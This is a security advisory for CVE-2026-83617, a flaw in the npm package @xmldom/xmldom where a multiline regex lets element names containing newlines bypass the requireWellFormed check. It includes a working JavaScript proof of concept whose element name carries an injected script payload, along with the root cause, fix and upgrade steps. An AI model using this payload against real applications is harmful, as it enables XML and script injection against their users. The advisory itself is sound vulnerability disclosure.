highCVE-2026-83617Sep 8, 2026

CVE-2026-83617: @xmldom/xmldom requireWellFormed QName Check Bypass via Embedded Line Terminator

Rohit Hatagale
AI Security Researcher, SecureLayer7

A multiline flag on xmldom's internal regex lets an element or attribute name containing a newline slip past the requireWellFormed serializer check, allowing XML injection even when callers…

Package@xmldom/xmldom
Ecosystemnpm
Affected= 0.9.11
Fixed in0.9.12
CVE-2026-83617: @xmldom/xmldom requireWellFormed QName Check Bypass via Embedded Line Terminator

The problem

xmldom 0.9.11 ships a shared regexp builder in lib/grammar.js that compiles all anchored productions with the m (multiline) flag. The full-string QName validator, QName_exact, is built from this builder, so its ^ and $ anchors match line boundaries, not string boundaries.

When the requireWellFormed serializer calls QName_exact.test(name), a name whose first line is a valid QName passes unconditionally. Everything after the embedded line terminator (U+000A, U+000D, U+2028, or U+2029) is never checked. The serializer then emits the full name verbatim into the start and end tags, so the bytes after the newline break out of the tag and inject arbitrary markup.

Callers who set requireWellFormed: true specifically to block prior name-injection advisories (GHSA-w2rr-34g9-rvrj, GHSA-4w3w-2rp5-g8jm) remain fully exposed.

Proof of concept

A working proof-of-concept for CVE-2026-83617 in @xmldom/xmldom, with the exact payload below.

javascript
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

// Malicious element name: first line is valid QName "a",
// newline lets the rest slip past QName_exact.test(), and
// the serializer emits the name verbatim, breaking out of the tag.
const doc = new DOMImplementation().createDocument(null, 'root', null);
const el = doc.createElement('a\n><script>alert(1)</script');
doc.documentElement.appendChild(el);

// Caller opted into strict validation -- expects an InvalidStateError throw:
console.log(
  new XMLSerializer().serializeToString(doc, { requireWellFormed: true })
);
// On 0.9.11: NO throw. Output contains injected ><script>alert(1)</script>
// breakout because "a" (line 1) satisfies the m-anchored QName_exact check.

// Control -- single-line invalid name IS rejected, proving only the
// newline defeats the guard:
const ctrl = new DOMImplementation().createDocument(null, 'root', null);
ctrl.documentElement.appendChild(ctrl.createElement('a b'));
new XMLSerializer().serializeToString(ctrl, { requireWellFormed: true });
// => throws InvalidStateError: The element name "a b" is not a valid XML QName

The root cause is CWE-91 (XML Injection) combined with a permissive regex (CWE-625). The shared reg() builder in lib/grammar.js applies the m flag globally, so ^...$ in QName_exact are line anchors rather than string anchors. A single conforming line is enough to satisfy .test(), leaving the rest of the string unconstrained.

The fix in 0.9.12 (commit 7b2ec67) changes the anchored name validators so they match against the whole string, regardless of embedded line terminators. Any name that contains a newline character now fails the check and throws InvalidStateError. The default (non-strict) serialization path is intentionally left unchanged, consistent with the W3C DOM Parsing spec.

The fix

Upgrade @xmldom/xmldom to 0.9.12 (npm install @xmldom/xmldom@0.9.12). Also audit every serializeToString() call site in your codebase and ensure untrusted DOM content is serialized with { requireWellFormed: true } -- protection is opt-in and not automatic.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research